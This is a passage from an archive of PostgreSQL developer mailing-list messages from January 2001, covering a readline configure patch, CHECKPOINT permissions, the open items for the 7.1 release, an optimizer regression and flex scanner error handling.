"msg_contents": "\n> > This happened on SuSE 7.0, compiling with gcc 2.95. Maybe I downloaded some\n> > stale corrupted tarball with a file missing - I went to\n> > .http://www.pgsql.com/download/ and just clicked on the top \"Download\"\n> > button. Where is F_OIDEQ supposed to be defined anyway?\n\nhere: src/backend/utils/fmgr.h:#define F_OIDEQ 184\n\nand here: src/backend/fmgr.h:#define F_OIDEQ 184\n\nand it doesn't appear to be inside of an ifdef either.\n\nVince.\n-- \n==========================================================================\nVince Vielhaber -- KA8CSH email: vev@michvhf.com http://www.pop4.net\n 128K ISDN from $22.00/mo - 56K Dialup from $16.00/mo at Pop4 Networking\n Online Campground Directory http://www.camping-usa.com\n Online Giftshop Superstore http://www.cloudninegifts.com\n==========================================================================\n\n\n\n",
"msg_date": "Sat, 27 Jan 2001 09:09:15 -0500 (EST)",
"msg_from": "Vince Vielhaber <vev@michvhf.com>",
"msg_from_op": false,
"msg_subject": "Re: Which version?"
},
{
"msg_contents": "My guess is that there is some old/other include that is interfering\nwith our includes. This it the first OID_EQ compile error I can\nremember seeing.\n\n> \n> > > This happened on SuSE 7.0, compiling with gcc 2.95. Maybe I downloaded some\n> > > stale corrupted tarball with a file missing - I went to\n> > > .http://www.pgsql.com/download/ and just clicked on the top \"Download\"\n> > > button. Where is F_OIDEQ supposed to be defined anyway?\n> \n> here: src/backend/utils/fmgr.h:#define F_OIDEQ 184\n> \n> and here: src/backend/fmgr.h:#define F_OIDEQ 184\n> \n> and it doesn't appear to be inside of an ifdef either.\n> \n> Vince.\n> -- \n> ==========================================================================\n> Vince Vielhaber -- KA8CSH email: vev@michvhf.com http://www.pop4.net\n> 128K ISDN from $22.00/mo - 56K Dialup from $16.00/mo at Pop4 Networking\n> Online Campground Directory http://www.camping-usa.com\n> Online Giftshop Superstore http://www.cloudninegifts.com\n> ==========================================================================\n> \n> \n> \n> \n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Sat, 27 Jan 2001 13:04:41 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Which version?"
}
] |
[
{
"msg_contents": "> > Conditional variables seem to be more portable\n> \n> Really? Which standard are they specified in?\n\nPOSIX - they are in pthread library (eg man pthread_cond_init).\nFor sem_init I see in man (on Solaris and AIX):\n\nENOSYS\tThe sem_init() function is not supported\n\nwhat is exactly I've got on AIX.\n\nVadim\n",
"msg_date": "Fri, 26 Jan 2001 13:55:40 -0800",
"msg_from": "\"Mikheev, Vadim\" <vmikheev@SECTORBASE.COM>",
"msg_from_op": true,
"msg_subject": "RE: Hardwired MAXBACKENDS limit could be history "
}
] |
[
{
"msg_contents": "hi,\n\nThe following configure.in patch changes the following:\n1) It adds --without-readline to control whether the readling package is\nused\n Obviously, this could be extended to the general\n--with[out]-readline[=DIR] pattern, but this is as far as I got.\n2) It permits the termcap library to be used IFF ncurses and curses are not\navailable.\n\n(Some indenting has not be performed to save maintainer stress.)\nThe following patch is against cvs tag: REL7_1_BETA3.\n\n*** orig/configure.in\t2001/01/10 09:05:42\n--- new/configure.in\t2001/01/26 22:28:26\n***************\n*** 354,359 ****\n--- 354,365 ----\n done\n IFS=$ac_save_IFS\n \n+ #\n+ # Readline\n+ #\n+ AC_MSG_CHECKING([whether to build with readline])\n+ PGAC_ARG_BOOL(with, readline, yes, [ --without-readline do not use\nreadline])\n+ AC_MSG_RESULT([$with_readline])\n \n #\n # Tcl/Tk\n***************\n*** 654,664 ****\n ##\n \n AC_CHECK_LIB(sfio, main)\n! AC_CHECK_LIB(ncurses, main, [], [AC_CHECK_LIB(curses, main)])\n! AC_CHECK_LIB(termcap, main)\n! AC_SEARCH_LIBS(readline, [readline edit], [AC_DEFINE(HAVE_LIBREADLINE)])\n! AC_SEARCH_LIBS(using_history, history,\n[AC_DEFINE(HAVE_HISTORY_FUNCTIONS)])\n \n if test \"$PORTNAME\" != \"aix\" -a \"$PORTNAME\" != \"alpha\"\n then\n \tAC_CHECK_LIB(bsd, main)\n--- 660,672 ----\n ##\n \n AC_CHECK_LIB(sfio, main)\n! AC_CHECK_LIB(ncurses, main, [], [AC_CHECK_LIB(curses, main, [],\n[AC_CHECK_LIB(termcap, main)])])\n \n+ if test \"$with_readline\" = yes; then\n+ AC_SEARCH_LIBS(readline, [readline edit], [AC_DEFINE(HAVE_LIBREADLINE)])\n+ AC_SEARCH_LIBS(using_history, history,\n[AC_DEFINE(HAVE_HISTORY_FUNCTIONS)])\n+ fi\n+ \n if test \"$PORTNAME\" != \"aix\" -a \"$PORTNAME\" != \"alpha\"\n then\n \tAC_CHECK_LIB(bsd, main)\n***************\n*** 724,731 ****\n \n PGAC_HEADER_STRING\n \n! AC_CHECK_HEADERS([readline/readline.h readline.h], [break])\n! AC_CHECK_HEADERS([readline/history.h history.h], [break])\n \n if test \"$with_krb4\" = yes ; then\n AC_CHECK_HEADER(krb.h, [], [AC_MSG_ERROR([header file <krb.h> is\nrequired for Kerberos 4])])\n--- 732,741 ----\n \n PGAC_HEADER_STRING\n \n! if test \"$with_readline\" = yes; then\n! AC_CHECK_HEADERS([readline/readline.h readline.h], [break])\n! AC_CHECK_HEADERS([readline/history.h history.h], [break])\n! fi\n \n if test \"$with_krb4\" = yes ; then\n AC_CHECK_HEADER(krb.h, [], [AC_MSG_ERROR([header file <krb.h> is\nrequired for Kerberos 4])])\n***************\n*** 878,883 ****\n--- 888,894 ----\n \t AC_CHECK_LIB(m, rint, AC_DEFINE(HAVE_RINT), , $HPUXMATHLIB))\n \n \n+ if test \"$with_readline\" = yes; then\n # Readline versions < 2.1 don't have rl_completion_append_character\n AC_MSG_CHECKING([for rl_completion_append_character])\n AC_TRY_LINK([#include <stdio.h>\n***************\n*** 891,902 ****\n [AC_MSG_RESULT(yes)\n AC_DEFINE(HAVE_RL_COMPLETION_APPEND_CHARACTER)],\n [AC_MSG_RESULT(no)])\n! \n \n # Check whether readline's filename_completion_function is declared.\n # Some prehistoric versions of readline, in particular those shipped\n # with earlier Cygwins don't have this declared, although it's in the\n # library.\n AC_MSG_CHECKING([whether filename_completion_function is declared])\n if test \"$ac_cv_header_readline_h\" = yes; then\n _readline_header='readline.h'\n--- 902,914 ----\n [AC_MSG_RESULT(yes)\n AC_DEFINE(HAVE_RL_COMPLETION_APPEND_CHARACTER)],\n [AC_MSG_RESULT(no)])\n! fi\n \n # Check whether readline's filename_completion_function is declared.\n # Some prehistoric versions of readline, in particular those shipped\n # with earlier Cygwins don't have this declared, although it's in the\n # library.\n+ if test \"$with_readline\" = yes; then\n AC_MSG_CHECKING([whether filename_completion_function is declared])\n if test \"$ac_cv_header_readline_h\" = yes; then\n _readline_header='readline.h'\n***************\n*** 909,915 ****\n [AC_DEFINE(HAVE_FILENAME_COMPLETION_FUNCTION_DECL)\n AC_MSG_RESULT(yes)],\n [AC_MSG_RESULT(no)])\n! \n \n \n dnl Cannot use AC_CHECK_FUNC because finite may be a macro\n--- 921,927 ----\n [AC_DEFINE(HAVE_FILENAME_COMPLETION_FUNCTION_DECL)\n AC_MSG_RESULT(yes)],\n [AC_MSG_RESULT(no)])\n! fi\n \n \n dnl Cannot use AC_CHECK_FUNC because finite may be a macr\njason\n",
"msg_date": "Fri, 26 Jan 2001 14:38:32 -0800",
"msg_from": "Jason Schroeder <shrode@astanetworks.com>",
"msg_from_op": true,
"msg_subject": "configure.in patch for readline and curses."
},
{
"msg_contents": "Jason Schroeder <shrode@astanetworks.com> writes:\n> The following configure.in patch changes the following:\n> 1) It adds --without-readline to control whether the readling package is\n> used\n\nJust out of curiosity, why would you want such a thing?\n\n\t\t\tregards, tom lane\n",
"msg_date": "Fri, 26 Jan 2001 20:14:58 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: configure.in patch for readline and curses. "
},
{
"msg_contents": "Jason Schroeder writes:\n\n> The following configure.in patch changes the following:\n> 1) It adds --without-readline to control whether the readling package is\n> used\n> Obviously, this could be extended to the general\n> --with[out]-readline[=DIR] pattern, but this is as far as I got.\n\nWhy would one not use readline?\n\n> 2) It permits the termcap library to be used IFF ncurses and curses are not\n> available.\n\nI don't think older versions of readline can be linked against curses. If\nat all, termcap should be tried before curses, but that might not be\nportable either. You'd need to try a complete link of a readline-using\nprogram, I think.\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Sat, 27 Jan 2001 10:12:54 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": false,
"msg_subject": "Re: configure.in patch for readline and curses."
},
{
"msg_contents": "Tom Lane wrote:\n\n> Jason Schroeder <shrode@astanetworks.com> writes:\n> > The following configure.in patch changes the following:\n> > 1) It adds --without-readline to control whether the readling package is\n> > used\n>\n> Just out of curiosity, why would you want such a thing?\n>\n\nI can suggest one reason:\n\npsql starts up with readline support turned on by default. If readline/curses\nis broken, this may show up at runtime as a pq_recvbuf error and a core dump.\npsql isn't obvious about the relationship to readline, creating a mystery for\nfirst-timers.\n\nSince it is readline, and it is on by default, just maybe that first-timer\nmight reconfigure turning \"luxuries\" off and psql will work. The alternative\nis them finding that obscure scrap of advice (not in doc/*) associating\nrecvbuf errors with readline support.\n\nI had this problem on a very typically setup Solaris but did not look for a\nway to build w/o readline. I really wanted it so I kept at it, but one *can*\nlive without command-history, being content to have psql fire up without\nerrors (surviving nicely with \\e). IIRC, my problem was ncurses existing and\nbeing compiled with or without termcap. Can't remember the details, but it\nwasn't psql, or even readline all by itself.\n\nSuggestion: if this problem is common (anyone know?), it would be nice for\npsql to trap the error and mention the \"-n\" option. I suspect that Solaris ppl\nwho install a pre-built ncurses might run into this alot.\n\nCheers,\n\n--Rick\n\n\n\n",
"msg_date": "Sat, 03 Feb 2001 20:44:47 -0800",
"msg_from": "Rick Robino <rrobino@wavedivision.com>",
"msg_from_op": false,
"msg_subject": "Re: configure.in patch for readline and curses."
},
{
"msg_contents": "Rick Robino writes:\n\n> psql starts up with readline support turned on by default. If readline/curses\n> is broken, this may show up at runtime as a pq_recvbuf error and a core dump.\n> psql isn't obvious about the relationship to readline, creating a mystery for\n> first-timers.\n>\n> Since it is readline, and it is on by default, just maybe that first-timer\n> might reconfigure turning \"luxuries\" off and psql will work.\n\nThat looks like a rather unusual way to proceed.\n\n> The alternative is them finding that obscure scrap of advice (not in\n> doc/*) associating recvbuf errors with readline support.\n\nThe other alternative is fixing the underlying problem.\n\n> I had this problem on a very typically setup Solaris but did not look for a\n> way to build w/o readline.\n\nYes, we have had several reports that termcap and ncurses don't like each\nother on Solaris. I'm going to alter configure to check for only one of\nthe two.\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Tue, 6 Feb 2001 19:30:53 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": false,
"msg_subject": "Re: [PATCHES] configure.in patch for readline and curses."
}
] |
[
{
"msg_contents": "> > What about DoS attacks? What would be the effect of \n> > someone's setting off an infinite loop of CHECKPOINTs?\n> \n> Don't we have bigger DoS attacks? Certainly SELECT cash_out(1) is a\n> much bigger one.\n\nI've missed point - cash_out(1) is bug that should be fixed.\nAny reason to add yet another gun?\n\nVadim\n",
"msg_date": "Fri, 26 Jan 2001 15:34:46 -0800",
"msg_from": "\"Mikheev, Vadim\" <vmikheev@SECTORBASE.COM>",
"msg_from_op": true,
"msg_subject": "RE: Permissions on CHECKPOINT"
},
{
"msg_contents": "[ Charset ISO-8859-1 unsupported, converting... ]\n> > > What about DoS attacks? What would be the effect of \n> > > someone's setting off an infinite loop of CHECKPOINTs?\n> > \n> > Don't we have bigger DoS attacks? Certainly SELECT cash_out(1) is a\n> > much bigger one.\n> \n> I've missed point - cash_out(1) is bug that should be fixed.\n> Any reason to add yet another gun?\n\nTrue. I just thought there were many bigger DoS areas. Maybe I am\nwrong.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Fri, 26 Jan 2001 18:36:24 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Permissions on CHECKPOINT"
},
{
"msg_contents": "Okay, okay, complaint withdrawn. Peter, would you commit that\npermission check?\n\n\t\t\tregards, tom lane\n",
"msg_date": "Fri, 26 Jan 2001 19:12:52 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Permissions on CHECKPOINT "
}
] |
[
{
"msg_contents": "Here are the open items for 7.1. Much shorter:\n\nReorder INSERT firing in rules\nJDBC LargeObject short read return value missing\nLAZY VACUUM\nJDBC setMaxRows() is global variable affecting other objects\nFix for pg_dump of bad system tables\nODBC not disconnecting properly?\nMagnus Hagander ODBC issues?\nMerge MySQL/PgSQL translation scripts\nFix ipcclean on Linux\nunixODBC\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Sat, 27 Jan 2001 00:43:52 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": true,
"msg_subject": "Open 7.1 items"
},
{
"msg_contents": "> Here are the open items for 7.1. Much shorter:\n\n+ Runtime btree recovery\n\nVadim\n\n\n",
"msg_date": "Sat, 27 Jan 2001 10:43:23 -0800",
"msg_from": "\"Vadim Mikheev\" <vmikheev@sectorbase.com>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items"
},
{
"msg_contents": "Hi, there!\n\nOn Sat, 27 Jan 2001, Bruce Momjian wrote:\n\n> Here are the open items for 7.1. Much shorter:\n> \n> Reorder INSERT firing in rules\n> JDBC LargeObject short read return value missing\n> LAZY VACUUM\n> JDBC setMaxRows() is global variable affecting other objects\n> Fix for pg_dump of bad system tables\n> ODBC not disconnecting properly?\n> Magnus Hagander ODBC issues?\n> Merge MySQL/PgSQL translation scripts\n> Fix ipcclean on Linux\n> unixODBC\n> \n> -- \n> Bruce Momjian | http://candle.pha.pa.us\n> pgman@candle.pha.pa.us | (610) 853-3000\n> + If your life is a hard drive, | 830 Blythe Avenue\n> + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n> \n\nWhat about strange write locking of primary index element, if something\nthat references it is changed (inserted or updated), you cannot modify\nin other transaction something else that references the same primary\nindex element until first transaction ends. For example:\n\nCREATE table primtest (id integer primary key);\n\nCREATE table foreigntest1 (id integer references primtest);\n\nCREATE table foreigntest2 (id integer references primtest);\n\nINSERT INTO primtest VALUES (1);\n\nBEGIN;\n\nINSERT INTO foreigntest1 VALUES (1);\n\n-- and in other transaction:\n\nINSERT INTO foreigntest2 VALUES (1);\n\n-- blocked until COMMIT or ROLLBACK issued in first transaction. \n\n/Constantin\n\n",
"msg_date": "Sun, 28 Jan 2001 14:04:04 +0600 (NOVT)",
"msg_from": "\"Constantin S. Svintsoff\" <cs@newst.net>",
"msg_from_op": false,
"msg_subject": "Re: Open 7.1 items"
}
] |
[
{
"msg_contents": "I now remember that we decided that it was too late in 7.1 to fix this:\n\n\treorder INSERT firing in rules\n\nAdded to TODO:\n\t\n\tEvaluate INSERT rules at end of query, rather than beginning\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Sat, 27 Jan 2001 00:49:03 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": true,
"msg_subject": "reorder INSERT firing in rules"
}
] |
[
{
"msg_contents": "At 14:56 24/01/01 -0500, Rod Taylor wrote:\n>pg_dump -c database\n>\n>The \\connect is after the DROP TABLE statements where I believe it\n>should come first. (Gotta connect as the right user before dropping\n>everything).\n>\n\nThis is now fixed.\n----------------------------------------------------------------\nPhilip Warner | __---_____\nAlbatross Consulting Pty. Ltd. |----/ - \\\n(A.B.N. 75 008 659 498) | /(@) ______---_\nTel: (+61) 0500 83 82 81 | _________ \\\nFax: (+61) 0500 83 82 82 | ___________ |\nHttp://www.rhyme.com.au | / \\|\n | --________--\nPGP key available upon request, | /\nand from pgp5.ai.mit.edu:11371 |/\n",
"msg_date": "Sat, 27 Jan 2001 23:37:30 +1100",
"msg_from": "Philip Warner <pjw@rhyme.com.au>",
"msg_from_op": true,
"msg_subject": "Re: pg_dump -c database problem"
}
] |
[
{
"msg_contents": "There seems to be an optimizer problem in 7.1beta3. The query you can see\nbelow worked fast in 7.0.2 but in 7.1beta3 is rather slow. The problem is\nthat an 'index scan' has been changed to a 'seq scan'. Details:\n\n----------------------------------------------------------------------------\nCREATE FUNCTION plpgsql_call_handler ( ) RETURNS opaque AS '/.../lib/plpgsql.so' LANGUAGE 'C';\nCREATE TRUSTED PROCEDURAL LANGUAGE 'plpgsql' HANDLER plpgsql_call_handler LANCOMPILER 'PL/pgSQL';\n\nCREATE TABLE sd_tabla (\n azonosito varchar(100) PRIMARY KEY\n);\n\nCREATE TABLE sd_grant (\n tabla varchar(100) REFERENCES sd_tabla(azonosito),\n gname varchar(100),\n sel bool NOT NULL DEFAULT 'f',\n upd bool NOT NULL DEFAULT 'f',\n ins bool NOT NULL DEFAULT 'f',\n del bool NOT NULL DEFAULT 'f',\n rul bool NOT NULL DEFAULT 'f',\n PRIMARY KEY (tabla, gname)\n);\n\ncreate function or_(bool,bool) returns bool as 'begin return $1 or $2;\nend;' language 'plpgsql';\n\ncreate aggregate aggr_or(basetype=bool, sfunc1=or_, stype1=bool,initcond1='f');\n\ncreate view sd_user_grant as select tabla, usename, \naggr_or(sel) as sel,aggr_or(ins) as ins,aggr_or(upd) as upd,\naggr_or(del) as del,aggr_or(rul) as rul from sd_grant,pg_user \nwhere sd_grant.gname>pg_user.usename::varchar group by tabla,usename;\n\nexplain select sel,ins,upd,del,rul from sd_user_grant where \nusename::varchar='1016' and tabla='cikk';\n----------------------------------------------------------------------------\n\nHere you can see the outputs of the EXPLAIN statement:\n\n7.0.2:\n\nAggregate (cost=5.95..5.96 rows=0 width=61)\n -> Group (cost=5.95..5.95 rows=1 width=61)\n -> Sort (cost=5.95..5.95 rows=1 width=61)\n -> Nested Loop (cost=0.00..5.94 rows=1 width=61)\n -> Seq Scan on pg_shadow (cost=0.00..1.75 rows=1 width=32)\n -> Index Scan using sd_grant_pkey on sd_grant (cost=0.00..4.08 rows=6 width=29)\n\n7.1beta3:\n\nSubquery Scan sd_user_grant (cost=38.68..38.85 rows=1 width=61)\n -> Aggregate (cost=38.68..38.85 rows=1 width=61)\n -> Group (cost=38.68..38.73 rows=10 width=61)\n -> Sort (cost=38.68..38.68 rows=10 width=61)\n -> Nested Loop (cost=0.00..38.51 rows=10 width=61)\n -> Seq Scan on pg_shadow (cost=0.00..1.01 rows=1 width=32)\n -> Seq Scan on sd_grant (cost=0.00..20.00 rows=1000 width=29)\n\nUnfortunately this query is a frequently used one in our application.\nSo we can't upgrade to 7.1 until this works properly. Please help if\nthere is a way to modify the query or consider it as a bug.\n\nTIA, Zoltan\n\n-- \n Kov\\'acs, Zolt\\'an\n kovacsz@pc10.radnoti-szeged.sulinet.hu\n http://www.math.u-szeged.hu/~kovzol\n ftp://pc10.radnoti-szeged.sulinet.hu/home/kovacsz\n\n",
"msg_date": "Sat, 27 Jan 2001 15:05:45 +0100 (CET)",
"msg_from": "Kovacs Zoltan <kovacsz@pc10.radnoti-szeged.sulinet.hu>",
"msg_from_op": true,
"msg_subject": "wrong query plan in 7.1beta3"
},
{
"msg_contents": "Kovacs Zoltan writes:\n\n> There seems to be an optimizer problem in 7.1beta3. The query you can see\n> below worked fast in 7.0.2 but in 7.1beta3 is rather slow. The problem is\n> that an 'index scan' has been changed to a 'seq scan'. Details:\n\n> Subquery Scan sd_user_grant (cost=38.68..38.85 rows=1 width=61)\n> -> Aggregate (cost=38.68..38.85 rows=1 width=61)\n> -> Group (cost=38.68..38.73 rows=10 width=61)\n> -> Sort (cost=38.68..38.68 rows=10 width=61)\n> -> Nested Loop (cost=0.00..38.51 rows=10 width=61)\n> -> Seq Scan on pg_shadow (cost=0.00..1.01 rows=1 width=32)\n> -> Seq Scan on sd_grant (cost=0.00..20.00 rows=1000 width=29)\n\nYou haven't VACUUM ANALYZE'd the sd_grant table. Therefore the row\nestimate is way off (1000 vs 6) and thus a sequential scan is (correctly)\nthought to be faster.\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Sat, 27 Jan 2001 15:45:08 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": false,
"msg_subject": "Re: wrong query plan in 7.1beta3"
},
{
"msg_contents": "On Sat, 27 Jan 2001, Peter Eisentraut wrote:\n\n> Kovacs Zoltan writes:\n> \n> > There seems to be an optimizer problem in 7.1beta3. The query you can see\n> > below worked fast in 7.0.2 but in 7.1beta3 is rather slow. The problem is\n> > that an 'index scan' has been changed to a 'seq scan'. Details:\n> \n> > Subquery Scan sd_user_grant (cost=38.68..38.85 rows=1 width=61)\n> > -> Aggregate (cost=38.68..38.85 rows=1 width=61)\n> > -> Group (cost=38.68..38.73 rows=10 width=61)\n> > -> Sort (cost=38.68..38.68 rows=10 width=61)\n> > -> Nested Loop (cost=0.00..38.51 rows=10 width=61)\n> > -> Seq Scan on pg_shadow (cost=0.00..1.01 rows=1 width=32)\n> > -> Seq Scan on sd_grant (cost=0.00..20.00 rows=1000 width=29)\n> \n> You haven't VACUUM ANALYZE'd the sd_grant table. Therefore the row\n> estimate is way off (1000 vs 6) and thus a sequential scan is (correctly)\n> thought to be faster.\n> \n> \n\nThanks, I tried it. \n\ntir=# explain select sel,ins,upd,del,rul from sd_user_grant where\ntabla='cikk' and usename::varchar='1016';\nNOTICE: QUERY PLAN:\n\nSubquery Scan sd_user_grant (cost=8.00..8.03 rows=1 width=61)\n -> Aggregate (cost=8.00..8.03 rows=1 width=61)\n -> Group (cost=8.00..8.01 rows=2 width=61)\n -> Sort (cost=8.00..8.00 rows=2 width=61)\n -> Nested Loop (cost=0.00..7.99 rows=2 width=61)\n -> Seq Scan on pg_shadow (cost=0.00..1.01\nrows=1 width=32)\n -> Seq Scan on sd_grant (cost=0.00..3.81\nrows=181 width=29)\n\nIt seems to be a little bit faster, but it's still very-very slow.\nThe 'seq scan' on sd_grant still remained.\n\nZoltan\n-- \n Kov\\'acs, Zolt\\'an\n kovacsz@pc10.radnoti-szeged.sulinet.hu\n http://www.math.u-szeged.hu/~kovzol\n ftp://pc10.radnoti-szeged.sulinet.hu/home/kovacsz\n\n",
"msg_date": "Sat, 27 Jan 2001 16:44:35 +0100 (CET)",
"msg_from": "Kovacs Zoltan <kovacsz@pc10.radnoti-szeged.sulinet.hu>",
"msg_from_op": true,
"msg_subject": "Re: wrong query plan in 7.1beta3"
},
{
"msg_contents": "Kovacs Zoltan <kovacsz@pc10.radnoti-szeged.sulinet.hu> writes:\n> There seems to be an optimizer problem in 7.1beta3. The query you can see\n> below worked fast in 7.0.2 but in 7.1beta3 is rather slow. The problem is\n> that an 'index scan' has been changed to a 'seq scan'. Details:\n\nThis is fixed in current sources: I get\n\nSubquery Scan sd_user_grant (cost=5.16..5.22 rows=1 width=61)\n -> Aggregate (cost=5.16..5.22 rows=1 width=61)\n -> Group (cost=5.16..5.18 rows=3 width=61)\n -> Sort (cost=5.16..5.16 rows=3 width=61)\n -> Nested Loop (cost=0.00..5.14 rows=3 width=61)\n -> Seq Scan on pg_shadow (cost=0.00..1.01 rows=1 width=32)\n -> Index Scan using sd_grant_pkey on sd_grant (cost=0.00..4.07 rows=3 width=29)\n\n\t\t\tregards, tom lane\n",
"msg_date": "Sat, 27 Jan 2001 11:20:52 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: wrong query plan in 7.1beta3 "
}
] |
[
{
"msg_contents": "A fatal scanner error (likely a memory exhaustion problem) causes a\nstraight exit() without clean up, which causes a system-wide restart.\nThis should fix it:\n\n*** scan.l 2001/01/24 19:43:03 1.85\n--- scan.l 2001/01/27 14:14:29\n***************\n*** 55,60 ****\n--- 55,62 ----\n /* No reason to constrain amount of data slurped per myinput() call. */\n #define YY_READ_BUF_SIZE 16777216\n\n+ #define YY_FATAL_ERROR(msg) elog(FATAL, \"%s\", (msg))\n+\n #else /* !FLEX_SCANNER */\n\n #undef input\n\nBut you will now get an unavoidable\n\nscan.c:2145: warning: `yy_fatal_error' defined but not used\n\nObjections or concerns?\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Sat, 27 Jan 2001 15:25:03 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": true,
"msg_subject": "Ungraceful handling of fatal flex errors"
},
{
"msg_contents": "Peter Eisentraut <peter_e@gmx.net> writes:\n> A fatal scanner error (likely a memory exhaustion problem) causes a\n> straight exit() without clean up, which causes a system-wide restart.\n> This should fix it:\n\n> *** scan.l 2001/01/24 19:43:03 1.85\n> --- scan.l 2001/01/27 14:14:29\n> ***************\n> *** 55,60 ****\n> --- 55,62 ----\n> /* No reason to constrain amount of data slurped per myinput() call. */\n> #define YY_READ_BUF_SIZE 16777216\n\n> + #define YY_FATAL_ERROR(msg) elog(FATAL, \"%s\", (msg))\n> +\n> #else /* !FLEX_SCANNER */\n\n> #undef input\n\n> But you will now get an unavoidable\n\n> scan.c:2145: warning: `yy_fatal_error' defined but not used\n\nI have a sneakier idea to avoid the warning. The yy_fatal_error routine\nis defined as\n\n\t(void) fprintf( stderr, \"%s\\n\", msg );\n\texit( YY_EXIT_FAILURE );\n\nand this is the only use of fprintf in the scan.c file. How about\nleaving yy_fatal_error as the error subroutine, and insert\n\n#define fprintf(file,fmt,msg) elog(FATAL, \"%s\", (msg))\n\n\n\t\t\tregards, tom lane\n",
"msg_date": "Sat, 27 Jan 2001 11:15:39 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Ungraceful handling of fatal flex errors "
},
{
"msg_contents": "> \n> > scan.c:2145: warning: `yy_fatal_error' defined but not used\n> \n> I have a sneakier idea to avoid the warning. [...]\n> \n> #define fprintf(file,fmt,msg) elog(FATAL, \"%s\", (msg))\n\n Meaning no disrespect : yuck... IMHO this is asking for trouble\nwhenever someone decides to use another yacc. One should never ever\nuse the preprocessor to do what it was originally intended for\n:-). Why not just make a useless statement calling yy_fatal_error ? \n\n--- scan.l.orig\tMon Jan 29 11:36:56 2001\n+++ scan.l\tMon Jan 29 11:27:28 2001\n@@ -532,6 +534,9 @@\n \t because input()/myinput() checks the non-nullness of parseCh\n \t to know when to pass the string to lex/flex */\n \tparseCh = NULL;\n+\n+\t/* Make a bogus use of yy_fatal_error to avoid spurious warning */\n+\t(void) &yy_fatal_error;\n \n \t/* initialize literal buffer to a reasonable but expansible size */\n \tliteralalloc = 128;\n\n-- \n<< Tout n'y est pas parfait, mais on y honore certainement les jardiniers >>\n\n\t\t\tDominique Quatravaux <dom@kilimandjaro.dyndns.org>\n",
"msg_date": "Mon, 29 Jan 2001 11:39:03 +0100",
"msg_from": "dom@idealx.com, dom@idealx.com",
"msg_from_op": false,
"msg_subject": "Re: Ungraceful handling of fatal flex errors"
},
{
"msg_contents": "dom@idealx.com, dom@idealx.com writes:\n>> #define fprintf(file,fmt,msg) elog(FATAL, \"%s\", (msg))\n\n> Meaning no disrespect : yuck... IMHO this is asking for trouble\n> whenever someone decides to use another yacc.\n\nThis is flex, not yacc, and our lexer has been flex-only for a long\ntime. It's possible that the hack would break in a future version\nof flex, but I doubt it. What else is a lexer going to use fprintf\nfor?\n\n\t\t\tregards, tom lane\n",
"msg_date": "Mon, 29 Jan 2001 09:43:35 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: Ungraceful handling of fatal flex errors "
},
{
"msg_contents": "> This is flex, not yacc, and our lexer has been flex-only for a long\n> time. It's possible that the hack would break in a future version\n> of flex, but I doubt it. What else is a lexer going to use fprintf\n> for?\n\n Hmm, well of course you are right... (and I could use some sleep too\n:-). OK, this becomes a non-issue then.\n\n-- \n<< Tout n'y est pas parfait, mais on y honore certainement les jardiniers >>\n\n\t\t\tDominique Quatravaux <dom@kilimandjaro.dyndns.org>\n",
"msg_date": "Mon, 29 Jan 2001 20:25:36 +0100",
"msg_from": "dom@idealx.com",
"msg_from_op": false,
"msg_subject": "Re: Ungraceful handling of fatal flex errors"
}
] |
[
{
